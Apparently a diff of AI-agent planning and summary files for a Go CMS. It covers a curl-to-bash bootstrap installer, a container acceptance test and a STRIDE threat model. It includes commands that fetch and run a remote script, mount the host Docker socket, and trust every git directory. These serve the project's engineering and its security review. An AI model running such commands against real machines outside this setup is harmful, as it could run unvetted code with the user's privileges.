+`--acceptance` (pre-tag, pre-deploy, D-20 and D-28): refuse to run when `modules/sunrise/new.sh` differs from HEAD (what is tested must be committed); preflight `docker info`, ports 54320 and 8080 free, and pull `node:24-bookworm`. Run `docker run --rm --network host -v /var/run/docker.sock:/var/run/docker.sock -v "$ROOT":/fw:ro -e COMPOSE_PROJECT_NAME=<unique> node:24-bookworm bash -euo pipefail -c '<inner>'`. The inner script, starting from the bare image: `apt-get update` and install `ca-certificates curl gnupg jq`; add Docker's official Debian bookworm apt repository with its signing key under /etc/apt/keyrings and install `docker-ce-cli docker-compose-plugin`; read the sha256 of `go1.27.0.linux-amd64.tar.gz` from `https://go.dev/dl/?mode=json&include=all` with jq, download the tarball from https://go.dev/dl/, verify it with `sha256sum -c`, unpack to /usr/local and put /usr/local/go/bin on PATH; `git config --global --add safe.directory '*'` (throwaway container, research Pitfall 12); in an empty /work run `curl -fsSL file:///fw/modules/sunrise/new.sh | SUMMERCMS_REPO=/fw SUMMERCMS_REF=<HEAD commit> bash -s -- demo` and capture its output; assert the output contains the `cd /work/sm-demo-app` line and the PATH hint, then apply the hint (`export PATH="$(go env GOPATH)/bin:$PATH"`); then exactly the D-20 chain: `cd sm-demo-app && docker compose up -d --wait && summer build && summer migrate`, start `summer serve` in the background, poll `http://127.0.0.1:8080/` for up to 60 s and require the body to contain `"plugin":"golem15.demo"`; an inner trap stops serve and runs `docker compose down -v`. compose.yaml uses a named volume only, so the host daemon needs no container paths (Pitfall 11). On the host a trap removes any container and volume labelled with the unique compose project (`docker ps -aq --filter label=com.docker.compose.project=<name>` and the volume equivalent) in case the inner cleanup did not run. End with `Phase 14.3 acceptance passed`.
+
+`--acceptance-production` (run by the user after `v0.1.13` is tagged and the site is redeployed): the same container chain but `curl -fsSL https://summercms.io/new | bash -s -- demo` with no SUMMERCMS_ overrides, so the script selects the newest release tag from the public remote; ends with `Phase 14.3 production acceptance passed`. Do not run this stage in this plan.
+
+Run `--acceptance` once and paste its tail (the chain and the final line) into the plan summary as D-20 evidence. Commit the script change on its own.</action>
+  <verify>
+    <automated>bash scripts/check-phase14.3.sh --acceptance</automated>
+    <fails_when>Non-zero exit; "sha256sum: WARNING" or "FAILED" from the checksum; the output lacks "cd /work/sm-demo-app", lacks "\"plugin\":\"golem15.demo\"", or lacks the final line "Phase 14.3 acceptance passed".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'node:24-bookworm' scripts/check-phase14.3.sh` is at least 1 and `grep -c -- '--acceptance-production' scripts/check-phase14.3.sh` is at least 1.
+    - `grep -c 'sha256sum -c' scripts/check-phase14.3.sh` is at least 1 and `grep -c 'docker-compose-plugin' scripts/check-phase14.3.sh` is at least 1.
+    - The stage refuses when `git diff --quiet HEAD -- modules/sunrise/new.sh` fails.
+    - A recorded run ends with `Phase 14.3 acceptance passed` and shows `docker compose up -d --wait`, `summer build`, `summer migrate`, `summer serve` and the starter route JSON.
+    - After the run, `docker ps -a --filter label=com.docker.compose.project` shows no container of the acceptance project.
+  </acceptance_criteria>
+  <done>From a bare node:24-bookworm image, the one-liner (script file and repo at HEAD) followed by the D-20 chain serves the starter route, and the production variant is ready for the user to run after deploy.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Security review of the generator, script and route</name>
+  <files>.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md, modules/sunrise/new.sh, ../sm-summercmsio-app/plugins/golem15/summercms/script.go, internal/build/new.go</files>
+  <read_first>.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-PLAN.md (threat_model T-14.3-01..10), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-PLAN.md (threat_model T-14.3-11..19), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Security Domain), .planning/phases/14.2.1-translate-plugin/14.2.1-SECURITY-REVIEW.md (format reference), modules/sunrise/new.sh, internal/build/new.go, ../sm-summercmsio-app/plugins/golem15/summercms/script.go, ../sm-summercmsio-app/deploy/nginx/summercms.io.conf</read_first>
+  <action>Run the security review lane (CONTEXT discretion: the script is piped into a shell and served publicly) over the plan 01 and plan 02 changes: `git diff v0.1.12..HEAD -- internal/build cmd/summer modules/lagoon modules/sunrise scripts/check-phase14.3.sh` in summercms.go and the plugin submodule's diff for `script.go`/`plugin.go`. Review at ASVS L1, blocking on high: input validation of `<name>` in both the script and the generator, quoting of every expansion in new.sh, behaviour under `curl | bash` (stdin, truncation, HTML error bodies with `curl -f`), tag and ancestry handling, refusal paths that protect local work, write locations, `.env` handling and the first commit, compose port binding, MIME type and nosniff on `/new`, nginx passthrough (GET/HEAD only), and the acceptance harness's use of the host Docker socket. Fix any high finding in the affected file within this task (new.sh, script.go or new.go) and re-run the matching Task 1 command.
+
+Write `14.3-SECURITY-REVIEW.md`: scope, method, an ASVS L1 table (V5, V6, V10, V12, V14 rows per research), and one row per threat T-14.3-01 to T-14.3-19 plus T-14.3-SC with category, severity, disposition, the source-level control (file and function or script function), the evidence available now (Task 1 smoke tests, the generator gate, the acceptance run), status (`mitigated`, `accepted`, or `open`), and a column for the plan 04 test that will pin it. Any `open` high threat blocks the phase. Commit the review as a planning-docs commit, separate from any code fix.</action>
+  <verify>
+    <automated>bash -c 'f=.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md; test -f "$f"; for i in $(seq -w 1 19); do grep -q "T-14.3-$i" "$f" || { echo "missing T-14.3-$i"; exit 1; }; done; grep -q "T-14.3-SC" "$f"; if grep -E "\| *high *\|.*\| *open *\|" "$f"; then echo "open high threat"; exit 1; fi; echo REVIEW-OK' &amp;&amp; go test ./modules/sunrise/ -count=1 &amp;&amp; go test ./internal/build/ -run '^TestNewAppSmoke$' -count=1</automated>
+    <fails_when>Non-zero exit; "missing T-14.3-" or "open high threat" printed; any "FAIL"; or the output lacks "REVIEW-OK".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - 14.3-SECURITY-REVIEW.md contains every ID T-14.3-01 through T-14.3-19 and T-14.3-SC exactly once as a table row.
+    - Every high-severity row has status `mitigated` and names the controlling file and function.
+    - Any code fix made by the review is in a separate code commit and the Task 1 tests still pass.
+  </acceptance_criteria>
+  <done>The phase's security-relevant surfaces are reviewed at ASVS L1 with no open high threat, and the review names what plan 04 must pin with tests.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Internet (summercms.io) -> user shell | The script is downloaded and executed with the user's privileges |
+| Remote git (tags, objects) -> local checkout | Upstream tags select the code that is compiled and installed |
+| Existing local checkout -> script | The user's own clone may hold uncommitted work |
+| Acceptance harness -> host Docker daemon | The container drives the host daemon through its socket |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.3-11 | Tampering | truncated download | high | mitigate | Whole script in `main()`, called on the last line; `TestScriptTruncationRunsNothing` covers line and byte prefixes |
+| T-14.3-12 | Tampering | error body piped to bash | medium | mitigate | Docs and landing page use `curl -fsSL` (fails on HTTP errors); `/new` answers only with the embedded bytes |
+| T-14.3-13 | Spoofing | `/new` rendered as HTML | medium | mitigate | `text/plain; charset=utf-8` plus `X-Content-Type-Options: nosniff`; no request data reflected; `TestNewScriptRoute` |
+| T-14.3-14 | Tampering | moved upstream tag, non-fast-forward | high | mitigate | Tags fetched without overwrite permission; checkout only when HEAD is an ancestor of the target; else exit non-zero |
+| T-14.3-15 | Tampering | user's existing checkout | high | mitigate | Refuse tracked changes, branch checkouts, non-framework go.mod and non-git dirs; no command that discards work |
+| T-14.3-16 | Elevation of Privilege | shell injection via name or overrides | high | mitigate | Name regex before use; every expansion quoted; overrides passed only as arguments; no dynamic code strings |
+| T-14.3-17 | Denial of Service | credential prompt hang with piped stdin | medium | mitigate | `GIT_TERMINAL_PROMPT=0`; children run with stdin from /dev/null |
+| T-14.3-18 | Tampering | supply chain of the served script | high | mitigate | Script embedded from the framework tag the site builds against; HTTPS default clone URL; release tags only; acceptance verifies the Go tarball sha256 from go.dev |
+| T-14.3-19 | Elevation of Privilege | acceptance harness on host Docker socket | medium | mitigate | Local harness only; framework mounted read-only; named volume only; unique compose project; host-side cleanup trap |
+| T-14.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package-manager installs in the framework; container installs come from Debian and Docker's signed apt repositories and a checksum-verified Go tarball |
+</threat_model>
+
+<verification>
+Task 1 command (smoke, docs tree, plugin route, gated end to end), Task 2 `bash scripts/check-phase14.3.sh --acceptance` ending with `Phase 14.3 acceptance passed`, Task 3 review check. Then `go vet ./... && go test ./... -short` in summercms.go and `go -C ../sm-summercmsio-app/plugins/golem15/summercms test ./... -count=1`.
+</verification>
+
+<success_criteria>
+- Roadmap success criterion 3: the script checks Go 1.27+ and Docker, clones or fast-forwards the framework at its latest release tag, installs summer with a PATH hint, runs `summer new` and prints the cd line; summercms.io serves it at `/new` as `text/plain` once deployed.
+- Roadmap success criterion 4: the D-20 chain passes in node:24-bookworm (local variant now, production variant after deploy).
+- No open high threat in 14.3-SECURITY-REVIEW.md; no tag push, branch push or deploy happened.
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-SUMMARY.md` when done.
+</output>
+</content>
+</invoke>

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-SUMMARY.md

@@ -0,0 +1,247 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 02
+subsystem: cli
+tags: [bootstrap, curl-bash, sunrise, embed, site-route, docker, acceptance, security-review]
+
+requires:
+  - phase: 14.3-01
+    provides: "summer new <name> --framework, next steps printed by summer new, scripts/check-phase14.3.sh --generator"
+provides:
+  - "modules/sunrise: new.sh (curl | bash bootstrap) and sunrise.Script()"
+  - "site plugin GET /new serving sunrise.Script() as text/plain (sm-summercmsio-plugin 2157bb9, app gitlink fd721cf)"
+  - "scripts/check-phase14.3.sh --acceptance and --acceptance-production (D-20 in node:24-bookworm)"
+  - "14.3-SECURITY-REVIEW.md covering T-14.3-01..19 and T-14.3-SC"
+affects: [14.3-03 docs and landing page, 14.3-04 unit tests and gate, v0.1.13 release, site redeploy]
+
+actuals:
+  tokens: 12013
+  tasks: 3
+  commits: 3
+plan_head_before: d0888d7576901ef7043963d70792573581f40c22
+plan_head_after: 55dffb5b635b5096b02d8440b11041662d4cd248
+
+tech-stack:
+  added: []
+  patterns:
+    - "Bootstrap script as functions plus a final `main \"$@\"`, using only bash builtins and git/go/docker so a stub PATH can prove truncation safety"
+    - "Script embedded in a framework module and served by the site from the framework version it builds against"
+
+key-files:
+  created:
+    - modules/sunrise/new.sh
+    - modules/sunrise/sunrise.go
+    - modules/sunrise/sunrise_test.go
+    - modules/sunrise/README.md
+    - ../sm-summercmsio-app/plugins/golem15/summercms/script.go
+    - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md
+  modified:
+    - README.md
+    - scripts/check-phase14.3.sh
+    - ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go
+    - ../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go
+    - ../sm-summercmsio-app/plugins/golem15/summercms/README.md
+
+key-decisions:
+  - "Framework module for the script is named sunrise; package exports only Script() []byte (fresh copy per call)"
+  - "The script installs summer with GOWORK=off so the clone's committed go.work (examples) and missing go.work.sum do not affect go install"
+  - "Progress, warnings and errors go to stderr; the closing cd line and PATH hint go to stdout"
+  - "On a fresh clone with no usable target the clone is left in place and the error says to remove it; the script never deletes anything"
+  - "Security review found no high issue, so no code fix; the dirty, branch, moved-tag and non-fast-forward refusals were probed on a throwaway repository"
+
+patterns-established:
+  - "Stub-PATH truncation harness: every line-boundary prefix and every byte prefix of the final line, with a positive control"
+  - "Container acceptance through the host Docker socket: --network host, read-only framework mount, unique compose project, host-side label cleanup"
+
+requirements-completed: [D-13, D-14, D-15, D-16, D-17, D-18, D-20, D-24, D-26, D-28]
+
+coverage:
+  - id: D1
+    description: "new.sh embedded in modules/sunrise; Script() returns the file bytes as a fresh copy; shape and bash -n checked"
+    requirement: D-13
+    verification:
+      - kind: unit
+        ref: "modules/sunrise/sunrise_test.go#TestScriptEmbedded"
+        status: pass
+      - kind: unit
+        ref: "modules/sunrise/sunrise_test.go#TestScriptShape"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "A truncated download (any line-boundary prefix, any byte prefix of the final line) invokes nothing and creates no file"
+    requirement: D-14
+    verification:
+      - kind: unit
+        ref: "modules/sunrise/sunrise_test.go#TestScriptTruncationRunsNothing"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "curl -fsSL <server> | bash -s -- demo clones the framework detached at a pinned ref, installs summer into a GOBIN off PATH, creates a buildable sm-demo-app with a ../summercms replace and prints the cd line and PATH hint"
+    requirement: D-15
+    verification:
+      - kind: e2e
+        ref: "SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/sunrise/ -run '^TestBootstrapEndToEnd$'"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Site plugin GET /new: 200 text/plain; charset=utf-8, nosniff, no-cache, strong ETag, body = sunrise.Script(); HEAD 200 no body; matching If-None-Match 304; POST 405"
+    requirement: D-13
+    verification:
+      - kind: unit
+        ref: "sm-summercmsio-plugin routes_test.go#TestNewScriptRoute"
+        status: pass
+      - kind: unit
+        ref: "sm-summercmsio-plugin routes_test.go#TestRoutesAssemble"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "D-20: from a bare node:24-bookworm image, the one-liner (committed script, repo at HEAD) then docker compose up -d --wait, summer build, summer migrate, summer serve answers GET / with \"plugin\":\"golem15.demo\""
+    requirement: D-20
+    verification:
+      - kind: e2e
+        ref: "bash scripts/check-phase14.3.sh --acceptance"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Refusals that protect an existing checkout (branch, dirty, moved tag, non-fast-forward, non-framework dir) and early name/existing-app stops"
+    requirement: D-16
+    verification:
+      - kind: manual_procedural
+        ref: "14.3-SECURITY-REVIEW.md#refusal-probe-2026-10-08"
+        status: pass
+    human_judgment: true
+    rationale: "Probed by hand on a throwaway repository during the review; plan 04 TestScriptBehavior pins these paths as automated tests"
+  - id: D7
+    description: "Security review of plans 01-02 at ASVS L1 with no open high threat"
+    verification:
+      - kind: other
+        ref: "Task 3 verify (REVIEW-OK)"
+        status: pass
+    human_judgment: true
+    rationale: "Self-performed review (no separate auditor agent); a human should read the register and accepted risks"
+  - id: D8
+    description: "Production acceptance against https://summercms.io/new after v0.1.13 is tagged and the site redeployed"
+    requirement: D-28
+    verification: []
+    human_judgment: true
+    rationale: "Release and deploy are user actions; bash scripts/check-phase14.3.sh --acceptance-production runs after them"
+
+duration: 11min
+completed: 2026-10-08
+status: complete
+---
+
+# Phase 14.3 Plan 02: curl | bash bootstrap, GET /new and D-20 acceptance Summary
+
+**`modules/sunrise` embeds `new.sh`, a truncation-safe `curl -fsSL https://summercms.io/new | bash -s -- <name>` installer that checks Go 1.27+/git/Docker, clones or fast-forwards the framework at its newest release tag, installs summer and runs `summer new`; the site plugin serves it at `GET /new` as text/plain, and the full one-liner-to-serving chain passed from a bare node:24-bookworm container.**
+
+## Performance
+
+- **Duration:** 11 min
+- **Started:** 2026-10-08T09:46:59Z
+- **Completed:** 2026-10-08T09:58:30Z
+- **Tasks:** 3
+- **Files modified:** 11 (7 in summercms.go, 4 in sm-summercmsio-plugin) plus the site app gitlink
+
+## Accomplishments
+
+- `new.sh`: argument parsing first (`-h`/`--help`, exactly one name, regex), lexical absolute path for `SUMMERCMS_DIR`, early stop on an existing `sm-<name>-app`, Go version from `/` with a go.dev/dl hint, git required, Docker and compose as warnings, clone or ff-only update with refusals, `GOWORK=off go -C <dir> install ./cmd/summer`, `summer new <name> --framework <abs dir>` with stdin closed, then the `cd` line and the PATH hint.
+- `sunrise.Script()` plus README (standard structure) and root modules-table row; `TestDocsTree` and `TestEveryModuleInSidebar` pass.
+- Site plugin `scriptHandler` and `GET /new` registered before the catch-all; `TestNewScriptRoute`, three `TestRoutesAssemble` rows, README route row.
+- `--acceptance` / `--acceptance-production` gate stages; `--acceptance` passed.
+- `14.3-SECURITY-REVIEW.md`: 20 threats, 17 mitigated, 3 accepted (low), 0 open.
+
+## D-20 evidence (`bash scripts/check-phase14.3.sh --acceptance`, 2026-10-08)
+
+```
+== node:24-bookworm (local, compose project phase143acc-3499410-1791453239)
+Docker version 29.8.2, build 7fc2dff
+Docker Compose version v5.6.0
+== Go 1.27.0 from go.dev, sha256 checked
+go1.27.0.linux-amd64.tar.gz: OK
+go version go1.27.0 linux/amd64
++ curl -fsSL file:///fw/modules/sunrise/new.sh | SUMMERCMS_REPO=/fw SUMMERCMS_REF=cfd110eddb2af449aae0a2a420008c4368dfd9c9 bash -s -- demo
+==> cloning /fw into /work/summercms
+==> framework target: cfd110eddb2af449aae0a2a420008c4368dfd9c9 (cfd110eddb2a)
+==> installing summer into /root/go/bin
+==> creating /work/sm-demo-app
+warning: git user.name and user.email not configured; the first commit uses SummerCMS <summer@localhost>
+==> Done. Start with:
+  cd /work/sm-demo-app
+==> summer is installed in /root/go/bin, which is not on your PATH. Run this (and add it to your shell profile):
+  export PATH="/root/go/bin:$PATH"
+== D-20 chain
++ docker compose up -d --wait
++ summer build
++ summer migrate
++ summer serve &
+GET http://127.0.0.1:8080/ -> {"message":"Hello from SummerCMS","plugin":"golem15.demo"}
+Phase 14.3 acceptance passed
+```
+
+Afterwards no container or volume of the `phase143acc-*` project remained. With `new.sh` modified the stage refuses: `FAIL: modules/sunrise/new.sh differs from HEAD; commit it first`.
+
+## Task Commits
+
+1. **Task 1: script, embed, GET /new, wired end to end**
+   - `cfd110e` (feat, summercms.go): sunrise module, tests, README, modules row
+   - `2157bb9` (feat, sm-summercmsio-plugin): `GET /new` route, tests, README
+   - `fd721cf` (feat, sm-summercmsio-app): plugin gitlink bump
+2. **Task 2: D-20 container acceptance** - `612d0c6` (chore)
+3. **Task 3: security review** - `55dffb5` (docs)
+
+Nothing was pushed, tagged or deployed.
+
+## Files Created/Modified
+
+- `modules/sunrise/new.sh` - the bootstrap script (0755)
+- `modules/sunrise/sunrise.go` - `//go:embed new.sh`, `Script()`
+- `modules/sunrise/sunrise_test.go` - embedded, shape, truncation, gated end-to-end tests
+- `modules/sunrise/README.md`, `README.md` - module docs and table row
+- `scripts/check-phase14.3.sh` - `--acceptance`, `--acceptance-production`
+- `../sm-summercmsio-app/plugins/golem15/summercms/script.go` - `scriptHandler`
+- `../sm-summercmsio-app/plugins/golem15/summercms/plugin.go` - `GET /new`, doc comments
+- `../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go` - `TestNewScriptRoute`, route rows, coexistence patterns
+- `../sm-summercmsio-app/plugins/golem15/summercms/README.md` - route row
+- `14.3-SECURITY-REVIEW.md` - ASVS L1 review
+
+## Decisions Made
+
+- Module name `sunrise` (beach-themed like the other modules); only `Script()` is exported.
+- `GOWORK=off` for `go install`: the framework commits a `go.work` for its examples but not `go.work.sum`, and the CLI builds from the main module alone.
+- No code changes came out of the security review; the non-fast-forward error wording ("<dir> must be an ancestor of the target") could say "HEAD of <dir>" — cosmetic, left so the acceptance evidence matches the committed bytes.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] TestRoutesCoexistWithAdminPatterns pinned the plugin's exact route list**
+- **Found during:** Task 1
+- **Issue:** The test asserts the plugin registers exactly `GET /docs`, `GET /docs/{path...}`, `GET /`; adding `GET /new` would fail it.
+- **Fix:** Added `GET /new` to `wantPatterns` and its handler to the coexistence mux, so the test also proves `/new` does not conflict with the admin patterns.
+- **Files modified:** `../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go`
+- **Verification:** `go -C ../sm-summercmsio-app/plugins/golem15/summercms test ./...` passes
+- **Committed in:** 2157bb9
+
+---
+
+**Total deviations:** 1 auto-fixed (1 blocking). **Impact:** test kept in step with the new route; no scope change.
+
+## Issues Encountered
+
+None.
+
+## User Setup Required
+
+None now. After `v0.1.13` is tagged, the site's `require` is bumped and the site redeployed (user actions, D-28), run `bash scripts/check-phase14.3.sh --acceptance-production`.
+
+## Next Phase Readiness
+
+- Plan 03 can document the one-liner, `SUMMERCMS_REPO/DIR/REF` and `summer new`, and switch the landing page; the site's gated `TestTerminalCommands` will need a script-URL override (research Q9) and can pass `SUMMERCMS_REPO/REF` through.
+- Plan 04: `TestScriptBehavior` should pin the refusal probe cases from the security review; `TestScriptShellcheck` can run `shellcheck` (clean today apart from one annotated SC2016).
+
+---
+*Phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new*
+*Completed: 2026-10-08*
+
+## Self-Check: PASSED

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-PLAN.md

@@ -0,0 +1,238 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 03
+type: execute
+wave: 3
+depends_on: ["14.3-02"]
+files_modified:
+  - docs/setup/installation.md
+  - docs/architecture/go-modules-and-workspaces.md
+  - docs/console/scaffolding.md
+  - docs/console/introduction.md
+  - docs/site.yaml
+  - README.md
+  - ../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json
+  - ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json
+  - ../sm-summercmsio-app/vue-summercmsio-app/tests/terminal.test.ts
+  - ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts
+  - ../sm-summercmsio-app/terminal_check_test.go
+  - ../sm-summercmsio-app/README.md
+  - ../sm-summercmsio-app/CLAUDE.md
+  - ../sm-summercmsio-app/DEPLOY.md
+autonomous: true
+requirements: [D-01, D-18, D-19, D-20, D-24, D-28]
+estimate:
+  tokens: 120000
+  raw_tokens: 120000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-18: docs/setup/installation.md shows `curl -fsSL https://summercms.io/new | bash -s -- demo` in its first section, before any examples/hello step; the manual examples/hello walkthrough follows it; no Known issues callout remains."
+    - "D-18: docs/architecture/go-modules-and-workspaces.md explains what `summer new` writes (relative framework replace, committed go.work with relative paths, no root go.sum, gitignored go.work.sum, the --framework / sibling / binary-source detection order) and says plugin:add adds a relative path; docs/console/scaffolding.md has a Creating an application section documenting `summer new` with `--framework`, `--no-plugin` and `--no-git`."
+    - "D-18: a fresh `summer docs:build` writes llms-full.txt containing the one-liner and `summer new`; TestDocsTree, TestDocsBuildRealTree, TestDocsAIOutputsInSync and `summer docs:build --check` pass."
+    - "D-19: terminal.json has exactly three groups and six commands: [`curl -fsSL https://summercms.io/new | bash -s -- demo`], [`cd sm-demo-app`, `docker compose up -d --wait`], [`summer build`, `summer migrate`, `summer serve`]; every comment key resolves to a non-empty en.json string and no unused terminal comment key remains; `pnpm generate && pnpm test` pass."
+    - "D-19: TestLoadTerminal, TestTerminalScript, TestTerminalEnv and TestTerminalRunScript pass; SUMMERCMS_NEW_URL replaces the script URL only inside the curl command."
+    - "D-19/D-20: with SUMMERCMS_TERMINAL_CHECK=1, SUMMERCMS_NEW_URL pointing at the local script, SUMMERCMS_REPO at the framework checkout and SUMMERCMS_REF at its HEAD, TestTerminalCommands runs the six page commands verbatim, sees JSON containing \"plugin\":\"golem15.demo\" from the backgrounded `summer serve`, and removes its compose project."
+    - "D-28: the site's framework require stays at v0.1.12 in this plan; nothing is deployed and no tag is pushed."
+  prohibitions:
+    - requirement_id: D-19
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "TestTerminalScript pins the exact string; descriptor-less, human review recommended."
+      statement: "The landing page and docs must never show the bootstrap one-liner over plain HTTP or without curl's fail-on-error flag."
+    - requirement_id: D-18
+      category: transparency
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "docs:build --check forbidden-name rule covers docs/; descriptor-less, human review recommended."
+      statement: "Framework docs and READMEs must never name a consuming application."
+    - requirement_id: D-28
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Release is a user action; descriptor-less, human review recommended."
+      statement: "No task pushes, tags, bumps the site's framework require or deploys the site."
+  artifacts:
+    - path: "docs/setup/installation.md"
+      provides: "one-liner first, manual walkthrough second"
+      contains: "curl -fsSL https://summercms.io/new | bash -s -- demo"
+    - path: "docs/console/scaffolding.md"
+      provides: "summer new reference"
+      contains: "summer new"
+    - path: "../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json"
+      provides: "landing page Get started commands"
+      contains: "https://summercms.io/new"
+    - path: "../sm-summercmsio-app/terminal_check_test.go"
+      provides: "terminal command checks with SUMMERCMS_NEW_URL and backgrounded serve"
+      contains: "SUMMERCMS_NEW_URL"
+  key_links:
+    - from: "../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json"
+      to: "../sm-summercmsio-app/terminal_check_test.go"
+      via: "loadTerminal reads the page's command list and TestTerminalCommands executes it"
+      pattern: "terminal.json"
+    - from: "docs/setup/installation.md"
+      to: "modules/sunrise/new.sh"
+      via: "the documented one-liner is the script served at /new"
+      pattern: "summercms.io/new"
+    - from: "docs/console/scaffolding.md"
+      to: "cmd/summer/main.go"
+      via: "the docs command checker validates `summer new` against toolCommands()"
+      pattern: "summer new"
+---
+
+<objective>
+Document the one-command start and switch the summercms.io landing page "Get started" to the one-liner: installation guide leads with `curl -fsSL https://summercms.io/new | bash -s -- demo`, the architecture and console docs cover `summer new`, llms outputs pick it up, and the landing page plus its four test layers move to the new commands, including a gated run of the page's commands end to end.
+
+Purpose: roadmap success criterion 5 and D-19; people and agents find the new path first.
+Output: updated framework docs and root README, new terminal.json/en.json with tests, reworked terminal command check and site docs.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-CONTEXT.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-SUMMARY.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-SUMMARY.md
+@docs/setup/installation.md
+@docs/architecture/go-modules-and-workspaces.md
+@docs/console/scaffolding.md
+@../sm-summercmsio-app/terminal_check_test.go
+@../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json
+</context>
+
+## Spec-less probe fallback
+
+No REQUIREMENTS.md IDs or SPEC.md exist for this phase; requirement probing is visibly skipped. The acceptance contract is D-18, D-19, the D-20 terminal run, D-24 (cd line comes from the script, next steps from summer new), D-28, and roadmap success criterion 5.
+
+## Artifacts this phase produces (this plan)
+
+- Docs: rewritten `docs/setup/installation.md`; new section in `docs/architecture/go-modules-and-workspaces.md`; section "Creating an application" in `docs/console/scaffolding.md`; updated `docs/console/introduction.md`; one `llms_notes` entry in `docs/site.yaml`; root `README.md` Requirements and Quick start.
+- Landing page: `terminal.json` groups with comment keys `terminal.createApp`, `terminal.startDatabase`, `terminal.buildAndServe` and their en.json strings (old keys `terminal.getFramework`, `terminal.installCli`, `terminal.buildExample` removed).
+- Site app tests: const `terminalNewURL`, `terminalScript(groups, newURL)`, helper `terminalRunScript`, test `TestTerminalRunScript`, reworked gated `TestTerminalCommands`; env `SUMMERCMS_NEW_URL` replaces `SUMMERCMS_CLONE_URL`.
+- Site docs: README test-variable table, CLAUDE.md, DEPLOY.md step 4 wording, `/new` route mention.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: The one-liner flows from terminal.json to the rendered page, the site checks and the installation guide</name>
+  <files>../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json, ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json, ../sm-summercmsio-app/vue-summercmsio-app/tests/terminal.test.ts, ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts, ../sm-summercmsio-app/terminal_check_test.go, docs/setup/installation.md</files>
+  <read_first>../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json, ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json (start and terminal blocks), ../sm-summercmsio-app/vue-summercmsio-app/tests/terminal.test.ts, ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts (Get started test and assertLeavesRendered), ../sm-summercmsio-app/vue-summercmsio-app/app/components/TerminalCard.vue, ../sm-summercmsio-app/terminal_check_test.go, docs/setup/installation.md, modules/sunrise/README.md, .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Q9)</read_first>
+  <action>Switch the single command source and everything pinned to it, per D-19 and D-18.
+
